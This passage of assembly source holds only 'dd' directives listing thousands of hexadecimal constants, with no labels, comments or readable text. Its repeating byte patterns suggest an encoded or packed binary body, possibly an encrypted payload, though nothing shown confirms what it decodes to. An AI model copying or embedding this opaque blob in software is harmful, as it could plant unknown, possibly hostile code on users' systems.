1F9C9C80h, 6B159458h, 64155B9Dh, 5FC1C2C3h dd 0CA7915C9h, 94E117CBh, 1790E917h, 6E15BCD9h, 0AF8CC9AFh dd 4C9D88C9h, 9D84D99Fh, 635B1564h, 74CB80E9h, 9C9C80E0h dd 1594581Fh, 155B9D6Bh, 0C1C2C364h, 7915C95Fh, 9FBC9424h dd 0E876749Ch, 0CACF9C9Ch, 992393CBh, 8C8D1DF4h, 1E94999Fh dd 741F8C8Dh, 8019159Ah, 6363607Dh, 0E9638CE9h, 0C56C3D90h dd 18118C95h, 607DB499h, 8963CC63h, 8C95D588h, 9390581Fh dd 1D209923h, 23938C8Dh, 8D1EA089h, 1F4C9D8Ch, 3DCC9474h dd 8C8D1DA4h, 1C20999Fh, 741F8C8Dh, 9FF6CC9Fh, 8D1DF03Dh dd 95741F8Ch, 1DB83DCCh, 999F8C8Dh, 8C8D1EC4h, 0CC96741Fh dd 9C9C9DF4h, 94E9635Ch, 0F0848963h, 19158C8Dh, 6363730Ch dd 1DFC9117h, 5D1F8C8Dh, 24919F6Eh, 0A58C8D1Ch, 63B7E95Dh dd 607D8019h, 1C383D63h, 741F8C8Dh, 8019A794h, 0E963607Dh dd 94E96392h, 632BCB74h, 0E475C563h, 0AD636363h, 884F755Ch dd 743D9C9Ch, 9F8C8D1Dh, 8D1C5499h, 9B741F8Ch, 0C2963CCh dd 63636373h, 95C68889h, 6CD9158Ch, 9D636399h, 8CD99F9Ch dd 639CF6CCh, 99B57089h, 60D9158Ch, 1D60A963h, 19118C8Dh dd 63607DBCh, 6CE963CCh, 6360E963h, 63730C29h, 0A8896363h dd 178C9C6Ch, 0DC1760D9h, 5C1915A0h, 1763636Bh, 607DBC19h dd 9C64B163h, 19A59C9Ch, 63636B5Ch, 88D41B93h, 19179C9Ch dd 63636B5Ch, 1560D99Fh, 2B9364D9h, 0D9CCA19Ch, 19939C9Ch dd 9C9C88B2h, 9364D917h, 93C0DC2Bh, 1D1C8923h, 0A5D68C8Dh dd 8B18934Ch, 1F9C9C88h, 6372E039h, 0D9179C63h, 0CC2B9364h dd 409117D8h, 1F8C8D1Ch, 56A59A5Dh, 8917A3E9h, 8C8D1E80h dd 14945E1Fh, 661C86CCh, 93B2E89Ch, 15DADC2Bh, 607D9019h dd 1D743D63h, 999F8C8Dh, 8C8D1ED4h, 0A59E741Fh, 607D9019h dd 5B1F9363h, 5B9C9C8Fh dd 6372E019h, 9C9C9D63h, 1DA03D9Ch, 23938C8Dh, 8D1DF489h dd 1F4C9D8Ch, 19A59174h, 636372E0h, 3C3DCFE8h, 9F8C8D1Dh dd 8D1D6C99h, 9F741F8Ch, 7D9019A5h, 83EF6360h, 1F64D917h dd 2B939A5Ch, 7C91178Ch, 9F8C8D1Dh, 8D1D0C91h, 97751F8Ch dd 15FA56B5h, 1782778Ch, 5C1F64D9h, 8C2B939Ah, 1DC49117h dd 93DD8C8Dh, 1DECA123h, 659D8C8Dh, 15FA56B5h, 64D9178Ch dd 9C1C1417h, 11159C9Ch, 6363674Ch, 9C481C17h, 64999C9Ch dd 9F9C9C9Ch, 636B5C19h, 10191563h, 24636373h, 9C9C9CB4h dd 80912393h, 1F8C8D1Dh, 7D6B9F5Dh, 7D941915h, 199D6360h dd 63637310h, 9C9CB424h, 64D1179Ch, 9AD52B93h, 19157D6Bh dd 63607D98h, 7310199Dh, 0D9176363h, 0C8DC1764h, 731019A5h dd 1B936363h, 9C9C8E7Eh, 78992393h, 938C8D1Ch, 1DDC8923h dd 4C9D8C8Dh, 1599741Fh, 683D78D9h, 9F8C8D1Dh, 8D1DE499h dd 94741F8Ch, 6F301915h, 23936363h, 8D1C7899h, 3819158Ch dd 3D636373h, 8C8D1DA8h, 1EF0999Fh, 741F8C8Dh, 5019158Ch dd 75636367h, 9C9C9C22h, 9C9CB424h, 50396B9Ch, 15636367h dd 607C6419h, 5C191763h, 9963636Bh, 9C9C9C64h, 1760D99Fh dd 607C6409h, 9D4A1563h, 90DA175Ah, 1594DA9Fh, 607D9C19h dd 8CDA1763h, 1588DA9Fh, 607C6019h, 30111763h, 0A563636Fh dd 159AEA54h, 636F3019h, 78D91763h, 7D9C19A5h, 95EA6360h dd 7D9C1917h, 0D9156360h, 64D91778h, 9C341C17h, 19A79C9Ch dd 63607D9Ch, 0DAA786EFh, 1789EE90h, 0C91788DAh, 341E9F64h dd 0B79C9C9Ch, 191590DAh, 63637338h, 674C1917h, 0CA176363h dd 0EE4CA590h, 94CA9F87h, 88EF4CA5h, 1788DA17h, 63674C09h dd 90CAB763h, 19154C9Dh, 63636B20h, 67501963h, 0D9176363h dd 0DC2B9364h, 5019A59Ah, 93636367h, 6363B31Eh, 99239363h dd 8C8D1DD8h, 9C936399h, 0E963CC9Ch, 7CF87478h, 581F6363h dd 78D91594h, 8D1C583Dh, 4C999F8Ch, 1F8C8D1Dh, 19A59074h dd 636372E0h, 191795E8h, 63636F30h, 176CD915h, 239364D9h dd 8D1DB089h, 9123938Ch, 8C8D1E90h, 761F569Dh, 340CA599h dd 0E99C9C9Ch, 30191793h, 0A563636Fh, 19936CD9h, 9C9C8DC6h dd 50992393h, 9F8C8D1Dh, 8D1C0C99h, 9B741F8Ch, 733819A5h dd 18936363h, 9C9C9C59h, 8D1D943Dh, 9E741F8Ch, 7C641915h dd 0F03D6360h, 1F8C8D1Dh, 19159574h, 63607D9Ch, 1917D277h dd 63637338h, 7C681915h, 80246360h, 6B9C9C9Ch, 607D9C39h dd 6C191563h, 1763607Ch, 607C6819h, 6C091763h, 9D63607Ch dd 60D99F4Ch, 7C601915h, 9176360h, 63607C64h, 0EA84CCA5h dd 84DC1795h, 7C641915h, 19636360h, 63607D9Ch, 1764E117h dd 9C9C301Bh, 9C80259Ch, 745D9C9Ch, 0D5B9269Eh, 7E6BB80Eh dd 7C680915h, 4B156360h, 7D9C21A5h, 16EE6360h, 6364D917h dd 2963A0ECh, 63607C64h, 6343CD74h, 94581F63h, 7C641915h dd 19176360h, 63636F30h, 7C6419A7h, 95E86360h, 936CD9A7h dd 9C8CE519h, 14391F9Ch, 9C636373h, 8D1D0C3Dh, 9A741F8Ch dd 67541915h, 0D8756363h, 179C9C9Dh, 63675419h, 20199F63h dd 9F63636Bh, 191560D9h, 63604360h, 8D1ED03Dh, 40999F8Ch dd 1F8C8D1Dh, 9179274h, 63604360h, 18939EA7h, 9C9C9DB4h dd 6B201917h, 9176363h, 63604360h, 0B790CE17h, 63674C09h dd 154C9D63h, 60436419h, 60D99F63h, 9D1911CCh, 0CC63607Ch dd 0BD388963h, 581F8C9Dh, 1EEC3D94h, 741F8C8Dh, 9C191599h dd 7763607Dh, 9C1917B7h, 1663607Dh, 7C9D9918h, 0E6A06360h dd 0FDA088E1h, 19178CE2h, 63607D9Ch, 9D991811h, 1C63607Ch dd 1963BCB4h, 63607D9Ch, 7D9C1917h, 22936360h, 7C9D9918h dd 89176360h, 8C8D1C38h, 0A595761Fh, 9326E94Ch, 1C309923h dd 999F8C8Dh, 8C8D1C04h, 6299201Ch, 0AF636043h, 0D83DF2E9h dd 1C8C8D1Eh, 43609920h, 0E9CE6360h, 992393C3h, 8C8D1EF4h dd 6399201Ch, 0D9636043h, 0EC3DD2E9h, 9F8C8D1Eh, 8D1D4099h dd 99201C8Ch, 6360436Fh, 93A5E9D7h, 1C6C9923h, 999F8C8Dh dd 8C8D1D94h, 9D99201Ch, 0D063607Ch, 283DBEE9h, 938C8D1Ch dd 1EA88923h, 4C9D8C8Dh, 9C99201Ch, 0AE63607Ch, 195B96E9h dd 63637314h, 9C9C9C9Dh, 6754191Fh, 17886363h, 1C1764D9h dd 9C9C9C18h, 675419A5h, 1E936363h, 6363623Bh, 8D1DB83Dh dd 95741F8Ch, 731419A5h, 18936363h, 9C9C926Eh, 0FA64D917h dd 9D8AD41Fh, 95C56C3Dh, 9918118Ch, 63607DB4h, 67481915h dd 0DC176363h, 241915A0h, 9F63636Bh, 63674819h, 28191563h dd 1F63636Bh, 6372E021h, 19939C63h, 9C9C9D99h, 9364D917h dd 1D208923h, 899F8C8Dh, 8C8D1C0Ch, 0A59A761Fh, 9C9C480Ch dd 7A18939Ch, 179C9C9Ch, 8D1D4889h, 88899F8Ch, 1F8C8D1Dh dd 0CA59776h, 9C9C9C4Ch, 9C571893h, 9179C9Ch, 63637310h dd 93C8CCA5h, 9C9C201Ah, 5C19179Ch, 1563636Bh, 607C6419h dd 9CB42463h, 0D1179C9Ch, 0D52B9364h, 157D6B9Ah, 607C6819h dd 64191763h, 1763607Ch, 607C6809h, 8C181163h, 9C9C9C64h dd 7D9C1915h, 0B4246360h, 179C9C9Ch, 8D1E8491h, 9E5D1F8Ch dd 19157D6Bh, 63607C6Ch, 7D9C199Fh, 19156360h, 63607C60h dd 6364D917h, 9C9C482Ch, 60D9179Ch, 7D9C0917h, 5E9D6360h dd 600917CEh, 9D63607Ch, 8963CE5Eh, 8C95D588h, 1790581Fh dd 4C9964D9h, 159C9C9Ch, 607C7019h, 9CB42463h, 91179C9Ch dd 8C8D1D18h, 1EC4919Fh, 751F8C8Dh, 157D6B9Ah, 607C7419h dd 70191763h, 1563607Ch, 7411175Eh, 9D63607Ch, 64D91796h dd 63A0EC63h, 0C7746CE9h, 15636340h, 19176CD9h, 63636B5Ch dd 7D9C1915h, 0B4246360h, 179C9C9Ch, 2B9364D1h, 7D6B9AD5h dd 7C601915h, 0D99F6360h, 9C091760h, 1163607Dh, 9C649E28h dd 0CDF49C9Ch, 748C8D0Ch, 63630374h, 8963CACCh, 8C9DBD38h dd 8D1D903Dh, 9C89998Ch, 999F7C9Ch, 8C8D1C68h, 17B8DA15h dd 19156CD9h, 63636B2Ch, 8D1D043Dh, 636A998Ch, 999F9C9Dh dd 8C8D1DC8h, 3D94DA15h, 8C8D1ECCh, 9F985C1Fh, 8D1D0C99h dd 283DCC8Ch, 9F8C8D1Ch, 8D1DF099h, 91741F8Ch, 1F6C15CCh dd 63CC845Ch, 95D6A889h, 78D9178Ch, 733C1915h, 0D9176363h dd 90DA1578h, 156CD917h, 0D91788DAh, 0A0EC6364h, 9F8CD917h dd 95C56C99h, 0F74CC8Ch, 15636347h, 89638CDAh, 8C8DEDCCh dd 1ED0A117h, 23938C8Dh, 8D1E9089h, 1F4B9D8Ch, 61259873h dd 59C9C9Ch, 4B9D656Bh, 73002115h, 0D9176363h, 90CA1764h dd 1594CA9Fh, 0D03DCCCCh, 998C8D1Dh, 9C9D636Fh, 3C892393h dd 9D8C8D1Ch, 78D99D4Ch, 1F64D917h, 63FA9A5Ch, 64D9179Ch dd 17A0EC63h, 0DA9F6CD9h, 0B774CC8Ch, 1F636347h, 0D915AC58h dd 1DA83D6Ch, 5C1F8C8Dh, 581915A4h, 77636367h, 0CC8963A9h dd 178C8DEDh, 63675821h, 48091763h, 15636367h, 607C6809h dd 64191563h, 2563607Ch, 9C9C9C63h, 17656B05h, 607C6811h dd 0A5881463h, 67581963h, 19176363h, 63636B24h, 675819A5h dd 21EE6363h, 0EDCC8963h, 0A1178C8Dh, 8C8D1D7Ch, 0F4892393h dd 9D8C8D1Dh, 90731F4Bh, 6B24219Fh, 9176363h, 63636748h dd 7C700915h, 19156360h, 63607C6Ch, 9C9C6325h, 656B059Ch dd 7C701117h, 88146360h, 1C743DA5h, 741F8C8Dh, 4809179Bh dd 17636367h, 63730011h dd 0D16D1F63h, 639E9014h, 8DEDCC89h, 2421178Ch, 1763636Bh dd 63674809h, 78091563h, 1563607Ch, 607C7419h, 9C632563h dd 6B059C9Ch, 78111765h, 1463607Ch, 2393A588h, 8D1EA0A1h dd 8923938Ch, 8C8D1D70h, 731F4B9Dh, 48091799h, 17636367h dd 755D8CD1h, 0A6901495h, 8D1DB43Dh, 9B741F8Ch, 72E019A5h dd 0FCE86363h, 1764D917h, 899FA8CCh, 8C8D1C40h, 15B4CC9Fh dd 607C7C09h, 2C191763h, 1F63636Bh, 0C917945Ch, 9E981760h dd 7C401915h, 383D6360h, 1F8C8D1Ch, 9179974h, 63607C40h dd 1D689117h, 5D1F8C8Dh, 9D56B566h, 7C199F4Ch, 1563607Ch dd 607C4419h, 64D91763h, 7C440917h, 0CCB76360h, 0B4CC15A8h dd 0C56CA963h, 6CF48C95h, 118C99ADh, 607DB419h, 8963CC63h dd 8C95D588h, 9F8CDA17h, 95C56C99h, 1911CC8Ch, 63607DB4h dd 88DA17CCh, 0CC60D99Fh, 0D5888963h, 581F8C95h, 88DA1784h dd 0C56C999Fh, 19158C95h, 63637304h, 1EAC8917h, 761F8C8Dh dd 154C9D9Fh, 63674019h, 17867763h, 63674019h, 60D99F63h dd 0AF8C2A93h, 63730009h, 638C1463h, 63674019h, 8CD91763h dd 7304199Fh, 19A56363h, 63636740h, 239349EEh, 8D1C4499h dd 64999F8Ch, 1F8C8D1Ch, 0D9159174h, 1C243D74h, 741F8C8Dh dd 5C191594h, 75636367h, 9C9C9E72h, 9C9CB424h, 64D1179Ch dd 9AD52B93h, 19157D6Bh, 63607C40h, 6B5C1917h, 64996363h dd 9F9C9C9Ch, 91760D9h, 63607C40h, 5A9D4A15h, 6B241917h dd 19156363h, 63607C44h, 9C9CB424h, 5C396B9Ch, 15636367h dd 607C4819h, 48191763h, 17636367h, 607C4809h, 9E181163h dd 9C9C9C64h, 7C440917h, 4F156360h, 23935F9Dh, 8D1D0899h dd 8923938Ch, 8C8D1C44h, 741F4C9Dh, 9FA01C93h, 3DAEE9EEh dd 8C8D1E84h, 1C985C1Fh, 0E9FF9FA0h, 992393B8h, 8C8D1EDCh dd 1D64999Fh, 741F8C8Dh, 9FA01C94h, 1792E9B2h, 191588DFh dd 6363731Ch, 9C9EAB75h, 1D683D9Ch, 0A01C8C8Dh, 0AFE9FD9Fh dd 8D1D943Dh, 9E741F8Ch, 0B29FA01Ch, 483DB9E9h, 1F8C8D1Dh dd 0A01C9474h, 8BE9F99Fh, 1588DF17h, 63731819h, 90DF1763h dd 72E41915h, 65756363h, 939C9C9Dh, 1D549923h, 23938C8Dh dd 8D1DF489h, 1F4C9D8Ch, 0A01C9774h, 81E9B29Fh, 8D1EC43Dh dd 9FA01C8Ch, 3D8EE9F5h, 8C8D1D84h, 1C98741Fh, 93FD9FA0h dd 9C9D5F18h, 9923939Ch, 8C8D1C08h, 1C9F741Fh, 93B29FA0h dd 9C9C1819h, 9923939Ch, 8C8D1D30h, 1C99741Fh, 0E9FE9FA0h dd 992393E8h, 8C8D1D1Ch, 30892393h, 9D8C8D1Ch, 9A741F4Ch dd 0EF9FA01Ch, 5A1FC7E9h, 99239344h, 8C8D1EE8h, 9C9C8399h dd 0B8DA157Ch, 8D1DFC3Dh, 9366998Ch, 23939C9Ch, 8D1DD889h dd 0CC4C9D8Ch, 7494EA63h, 63634BE6h, 9D94E717h, 94E2155Bh dd 8D1C7C3Dh, 9363998Ch, 17CC9C9Ch, 0D99F94DFh, 0C774CC78h dd 1F63634Bh, 0D9158C58h, 0B45A1F78h, 9C9DB775h, 0B8DF179Ch dd 17B8DA15h, 0DA1594DFh, 6CD91794h, 1788DA15h, 0DA158CDFh dd 9923938Ch, 8C8D1D70h, 1D4C8917h, 0D8118C8Dh, 3DCC9A8Ch dd 8C8D1ED8h, 0CC9B741Fh, 5C1F6C15h, 8963CC84h, 8C95D6A8h dd 1578D917h, 0CACF90DAh, 0BD388963h, 0E1178C9Dh, 90CA1774h dd 28210815h, 1763636Fh, 81594CFh, 636B5821h, 90CF1763h dd 7C210815h, 17636367h, 81588CAh, 63732C21h, 74D96363h dd 9D8CDF17h, 0D9176CD9h, 7C19156Ch, 1763607Ch, 0EC6364D9h dd 6CE963A0h, 634A2974h, 80581F63h, 176CD915h, 607C7C11h dd 0EA54A563h, 892393B8h, 8C8D1EF4h, 1C9E761Fh, 0E9F88FA0h dd 1554B588h, 607C4C19h, 8CDA9D63h, 7C4C1917h, 0DA9D6360h dd 64D91794h, 0FA9A5C1Fh, 23939C63h, 8D1D3099h, 9366998Ch dd 17CC9C9Ch, 0DF9F90DAh, 0C374CC94h, 1763634Ah, 0DB1564E1h dd 1C5C3DCCh, 63998C8Dh, 0CC9C9C93h, 9F78D917h, 74CC94DFh dd 63634ADEh, 6378D915h, 0DF178CEAh, 48199F88h, 0CC636367h dd 9F88DA17h, 63CC60D9h, 95D58889h, 80581F8Ch, 675C1963h dd 19176363h, 63636B28h, 9ADC2B93h, 675C19A5h, 1E936363h dd 63636060h, 731C1917h, 199F6363h, 63636748h, 3D70D915h dd 8C8D1DD4h, 159B741Fh, 0C0777CD9h, 177CE117h, 8E1770C9h dd 7C2108A5h, 0E9636367h, 70D91797h, 19159C17h, 63636F2Ch dd 5D7CE117h, 8179E7Bh, 636B58A1h, 0A1089F63h, 6363677Ch dd 0A770E117h, 17BEEA8Bh, 20177CE1h, 63732C21h, 8211563h dd 17636373h, 20177CE1h, 636F2821h, 30211563h, 77636373h dd 7CD96397h, 0A574D917h, 0EE7CD9h, 8D1D7C3Dh, 95741F8Ch dd 67441915h, 0F2756363h, 179C9C9Dh, 63674419h, 70D99F63h dd 1C608917h, 5E1F8C8Dh, 91239398h, 8C8D1EB8h, 4C9D569Dh dd 7C401915h, 17FA6360h, 1915FA9Ch, 63607C7Ch, 7C192B93h dd 1763607Ch, 8D1C6089h, 0F8899F8Ch, 1F8C8D1Eh, 4CA59976h dd 9DA91893h, 2B939C9Ch, 607C7C21h, 891763h, 158C8D1Dh dd 0D0919F4Dh, 4F8C8D1Eh, 2115FA63h, 63607C46h, 7C212B93h dd 1763607Ch, 8D1DD491h, 9F751F8Ch, 15FA7B4Fh, 607C7E21h dd 212B9363h, 63607C7Eh, 1D248917h, 23938C8Dh, 8D1DD891h dd 15569D8Ch, 98751F4Dh, 15FA634Fh, 607C7E21h, 192B9363h dd 63607C7Eh, 1C688917h, 761F8C8Dh, 0E94CA59Eh, 99239380h dd 8C8D1DD8h, 1DB4999Fh, 741F8C8Dh, 4419A594h, 93636367h dd 9C9C3619h, 2819179Ch, 1763636Bh, 2B93A8DCh, 607C7E09h dd 174C9D63h, 9E9F70C9h, 7C481915h, 19176360h, 63637330h dd 0C9179E9Fh, 0A8DE9F64h, 7E092B93h, 9D63607Ch, 2C19B74Ch dd 1563636Fh, 607C4C19h, 4819B763h, 1563607Ch, 607C5019h dd 192B9363h, 63607C46h, 1DE499A7h, 0B5E98C8Dh, 7E192B93h dd 9F63607Ch, 63730819h, 70C91763h, 19B79E9Fh, 63636F2Ch dd 1560D99Fh, 607C5419h, 50091763h, 9D63607Ch, 1D403D8Ch dd 999F8C8Dh, 8C8D1DF0h, 9D8C741Fh, 63674419h, 70D91763h dd 0A598DC17h, 63674419h, 1C1E9363h, 17636362h, 0CC1770D9h dd 155E9D98h, 191770C9h, 63636B28h, 9C381C17h, 9179C9Ch dd 6363731Ch, 6748099Fh, 4C9D6363h, 9370D9A5h, 6361521Eh dd 64D91763h, 15B4D417h, 6372E811h, 3C091763h, 15636373h dd 211FB4CCh, 636372E0h, 1F83E99Ch, 917FC5Ch, 63636B28h dd 9DFCCE17h, 64D9178Ch, 17F45C1Fh, 636B2809h, 0F4CE1763h dd 0D9178C9Dh, 0CC891764h, 1F8C8D1Eh, 15FA975Eh, 8917D8CCh dd 8C8D1D78h, 44912393h, 9D8C8D1Ch, 9A761F56h, 1786CC14h dd 63731811h, 48119F63h, 15636367h, 607D8411h, 68891763h dd 1F8C8D1Ch, 15FA9B5Eh, 1917DACCh, 63637318h, 0DE9F5615h dd 0E419B780h, 15636372h, 607D8819h, 48199F63h, 15636367h dd 607D8C19h, 159C1763h, 63733419h, 99239363h, 8C8D1DF4h dd 1C24999Fh, 741F8C8Dh, 40D91590h, 0E117DD77h, 9E7B5D40h dd 7CA10817h, 9F636367h, 6B58A108h, 9A76363h, 63637334h dd 0E117BEEAh, 21201740h, 6363677Ch, 72F42115h, 0E1176363h dd 21201740h, 63636F28h, 72F02115h, 97776363h, 1740D963h dd 0D9A574D9h, 172BEE40h, 6372F019h, 64C91763h, 9FA8DE9Fh dd 63733419h, 0F419B763h, 15636372h, 6372EC19h, 28191763h dd 1763636Bh, 199FA8DCh, 63637334h, 73341915h, 19176363h dd 63636B2Ch, 7568D915h dd 9C9C9E1Ah, 1768D917h, 2A9360C9h, 0A1179E90h, 8C8D1E84h dd 9C7B5B1Dh, 0A19F9C9Ch, 8C8D1EB0h, 199365A5h, 9C9C9D88h dd 58912393h, 938C8D1Dh, 1D80A123h, 659D8C8Dh, 1599751Fh dd 93539D5Bh, 93A6902Ah, 1EA0A123h, 731F8C8Dh, 9365A59Fh dd 9C9C7B19h, 0F091179Ch, 1F8C8D1Eh, 5B159975h, 2A93539Dh dd 2393A690h, 8D1C70A1h, 88A19F8Ch, 1F8C8D1Dh, 65A59E73h dd 9C221993h, 91179C9Ch, 8C8D1DF8h, 15985D1Fh, 93539D5Bh dd 17A6902Ah, 8D1D2CA1h, 9B731F8Ch, 199365A5h, 9C9C9C00h dd 1C5C9117h, 919F8C8Dh, 8C8D1D64h, 9D9B751Fh, 982A9354h dd 3C89179Eh, 9F8C8D1Dh, 8D1ECC89h, 9E761F8Ch, 0E8E94CA5h dd 72E81917h, 0C9176363h, 0A8DE9F64h, 7C7C1915h, 0DE176360h dd 3C199FA8h, 17636373h, 9B768C9h, 63636B2Ch, 19154C9Dh dd 63607C40h, 90992393h, 1F8C8D1Eh, 19B7635Ch, 63607C40h dd 7C7C199Fh, 89176360h, 8C8D1DA8h, 1DB4899Fh, 761F8C8Dh dd 154CB597h, 607C4419h, 0A8A11763h, 178C8D1Dh, 911768C9h dd 8C8D1C04h, 9F569DD5h, 5D1560C9h, 7C26D015h, 9368D917h dd 1D708923h, 9158C8Dh, 63607C7Ch, 1560D117h, 607C4011h dd 0A8A11763h, 9D8C8D1Dh, 96731F4Bh, 669D5E15h, 8D882A93h dd 1DD4A117h, 0A19F8C8Dh, 8C8D1C00h, 0A592731Fh, 94199366h dd 939C9C9Dh, 1D348923h, 899F8C8Dh, 8C8D1C48h, 1599761Fh dd 934B9D5Bh, 17A5882Ah, 8D1E84A1h, 66A5D38Ch, 9C7D1993h dd 89179C9Ch, 8C8D1E80h, 159F5E1Fh, 934B9D5Bh, 17A5882Ah dd 8D1E98A1h, 9F731F8Ch, 199366A5h, 9C9C9C23h, 1D4C8917h dd 23938C8Dh, 8D1EF4A1h, 1F669D8Ch, 5B159E76h, 2A934B9Dh dd 2393A588h, 8D1D08A1h, 7C11178Ch, 9D63607Ch, 1F651553h dd 56A59675h, 9C151993h, 9179C9Ch, 63607C40h, 9E982A93h dd 1DD08917h, 5E1D8C8Dh, 9C9C9C7Eh, 0F3E94CA5h, 0B768D917h dd 636B2C19h, 3C199F63h, 17636373h, 0DE9F64C9h, 441915A8h dd 1763607Ch, 6372EC19h, 48191563h, 9363607Ch, 1D148923h dd 91178C8Dh, 8C8D1DA0h, 6D96C811h, 7C4409B7h, 4C9D6360h dd 1D848917h, 761F8C8Dh, 154CB599h, 607C4C19h, 84A11763h dd 178C8D1Eh, 239368C9h, 8D1DBC91h, 9E751F8Ch, 0C99F569Dh dd 155D1560h, 636026D0h, 191768D9h, 63636B2Ch, 0C56C999Fh dd 0D9A58C95h, 0F91E9368h, 63636361h, 63730C29h, 0D4896363h dd 638C95D6h, 191194E9h, 6363721Dh, 388963CCh, 1F8C9DBDh dd 0D9179458h, 1F5D1594h, 1CDC6354h, 0E99C9DA0h, 0B8191565h dd 9363607Dh, 1E908923h, 5E1F8C8Dh, 5A4CB59Eh, 721D9918h dd 17EA6363h, 607DB819h, 0AC891763h, 9F8C8D1Dh, 8D1D7889h dd 9B761F8Ch, 185A4CB5h, 63721D99h, 4C3DEE63h, 178C8D1Dh dd 607DB809h, 9D5D1563h, 1F54155Dh, 5EB59F74h, 1D89185Ah dd 0F5636372h, 78992393h, 938C8D1Ch, 1EB88923h, 4C9D8C8Dh dd 0CC9E741Fh, 1C20A963h, 9EF68C8Dh, 8D1D0C3Dh, 9A741F8Ch dd 1DA43DCCh, 741F8C8Dh, 9CF4CC9Fh, 11DC9C9Ch, 63721D19h dd 8963CC63h, 8C8DF084h, 730C1915h, 23936363h, 8D1C7899h dd 1911CC8Ch, 63607DBCh, 6CE963CCh, 6360E963h, 63730C29h dd 80896363h, 638C8DECh, 896360E9h, 8C9DB950h, 730C2963h dd 89636363h, 8C95D6D4h, 0E9639CF6h, 1D191194h, 0CC636372h dd 0AAD88963h, 19118C95h, 6363721Dh, 908963CCh, 248C9C6Ch dd 9C9C9C9Dh, 0E9638B77h, 50896360h, 638C9DB9h, 63730C29h dd 0D4896363h, 0AD8C95D6h, 0C7C2C35Ch, 15C95F55h, 0DC701F79h dd 17CBCACFh, 0C83D94E9h, 158C8D1Dh, 58A19F5Bh, 1F8C8D1Ch dd 92778C73h, 7F4D6715h, 0E28817FAh, 81C815FAh, 2393DB5Ch dd 8D1DEC99h, 4C89178Ch, 118C8D1Dh, 0A5808CD8h, 1141EE5Bh dd 0CACC5CD9h, 9CD0CC74h, 94581F9Ch, 55C7C2C3h, 7915C95Fh dd 17CBCACFh, 0E91790E1h, 0EDDCF48Ch, 63CB8C8Dh, 91C6A089h dd 0E95C958Ch, 6B8F4BCh, 63CB8C8Dh, 91C6A089h, 0E95C958Ch dd 698F48Ch, 63CB8C8Dh, 91C6A089h, 0E85C958Ch, 94D9178Ch dd 0AA639A15h, 0CF638417h, 775CAD98h, 9923938Dh, 8C8D1D1Ch dd 159E741Fh, 0DC9E249Ah, 0C2C31C9Ch, 905EC1C7h, 7915C99Ch dd 9EF0701Dh, 11CB9C9Ch, 63610519h, 0A74CC63h, 119C9CB3h dd 63626019h, 9C3DCC63h, 1F8C8D1Eh, 3DCC9F74h, 8C8D1ED4h dd 50892393h, 9D8C8D1Dh, 96741F4Ch, 3D80F6CCh, 8C8D1DD4h dd 0CC9B741Fh, 0B69C8963h, 99118C99h, 8C9C8519h, 91C6803Fh dd 0AE99118Ch, 3F8C9CD3h, 8C99B578h, 8D0CA1F4h, 0DDA748Ch dd 0A1176363h, 8C8D1D10h, 9F985B1Fh, 8D1D68A1h, 2111CB8Ch dd 63636260h, 0ACF4CCCBh, 638C95D5h, 91C6B489h, 937CF48Ch dd 33748C9Dh, 74636352h, 6363165Ah, 0D5AC9911h, 483F8C95h dd 0F48C9D93h, 8C8D0CB6h, 630C6374h, 0A0A96363h, 118C8D1Dh dd 63626021h, 0F4CCCB63h, 8C9DBC3Ch, 0C6B48963h, 87F48C91h dd 748C8D0Ch, 63630C40h, 1D94A117h, 0A19F8C8Dh, 8C8D1D24h dd 52111CBh, 0CB636361h, 62602111h, 0CCCB6363h, 95AFACF4h dd 0B489638Ch, 118C91C6h, 9C851999h, 0AD7C3F8Ch, 99118C99h dd 8C95A9DCh, 9C6C803Fh, 1999118Ch, 3F8C9C85h, 8C9D9C88h dd 0B3D59911h, 0E83F8C9Ch, 118C8DC7h, 9CF5CE99h, 0AE6C3F8Ch dd 99118C99h, 8C9DBC3Ch, 95D5BC3Fh, 0C94F48Ch, 0F5748C8Dh dd 1763630Ch, 8D1D00A1h, 9E5B1F8Ch, 602111CBh, 0CB636362h dd 0A9DCF4CCh, 89638C95h, 8C91C6B4h, 8D1C403Dh, 9E5C1F8Ch dd 0BC892393h, 9D8C8D1Eh, 9CF4CC4Ch, 748C99AFh, 9C9CD665h dd 9C0770F4h, 0D81748Ch, 0FBF46363h, 748C9C0Bh, 63630D8Fh dd 9C7E3CF4h, 0D95748Ch, 99116363h, 8C8DC6ECh, 8D1E403Fh dd 9923938Ch, 8C8D1DF4h, 3F9A5C1Fh, 8C9DB94Ch, 8D1D743Dh dd 8923938Ch, 8C8D1D54h, 741F4C9Dh, 1911CC91h, 63636161h dd 3C8374CCh, 581F6363h, 1E843DE4h, 201C8C8Dh, 63616099h dd 0A2E9F863h, 62192293h, 17636361h, 8D1D4889h, 8B5E1F8Ch dd 19144CB5h, 63636104h, 4192A93h, 0CC636361h, 8D1DF03Dh dd 95741F8Ch, 388C74CCh, 581F6363h, 99239394h, 8C8D1DECh dd 0B94C3FD4h, 23938C9Dh, 8D1D0899h, 0A4999F8Ch, 1C8C8D1Eh dd 61719920h, 0E9FB6363h, 1DB43DD1h, 23938C8Dh, 8D1D0889h dd 9D5D158Ch, 6ECD114Dh, 9C990814h, 11636362h, 63616219h dd 8963CC63h, 8C9D9C80h, 61081915h, 0F03D6363h, 1F8C8D1Dh dd 4C3F9574h, 638C9DB9h, 63610829h, 0C6ECF463h, 8D748C8Dh dd 1F9C9CBEh, 55C39058h, 7915C95Fh, 9D98701Dh, 0CBCA9C9Ch dd 3D90E117h, 8C8D1D88h, 1C9E741Fh, 0E8B29BA0h, 94E963D9h dd 62601911h, 63CC6363h, 9DBD3889h, 0C9FF48Ch, 71748C8Dh dd 0CC636312h, 62602911h, 63CA6363h, 9C6CB089h, 1911CB8Ch dd 63636260h, 0B08963CCh, 118C9C6Ch, 63626019h, 4C74CC63h dd 1F636345h, 0C2C3BC58h, 0F4CB5F55h, 8C8D136Fh, 63122F74h dd 63CCC563h, 9DB90489h, 1E0C3F8Ch, 0A43D8C8Dh, 9F8C8D1Dh dd 8D1ED899h, 96741F8Ch, 1E0C99A7h, 8BE98C8Dh, 8D137FF4h dd 121A748Ch, 0CCC56363h, 0AF848963h, 0C3F8C99h, 0F48C8D1Eh dd 8C8D134Dh, 6312F374h, 0A963CC63h, 8C8D1E0Ch, 0BD308963h dd 903F8C9Dh, 0F48C9D9Ch, 8C8D135Eh, 6312CF74h, 0A963CC63h dd 8C8D1E0Ch, 0BD308963h dd 0D43F8C9Dh, 0F48C9C6Ch, 8C8D132Eh, 6312AB74h, 0A963CC63h dd 8C8D1E0Ch, 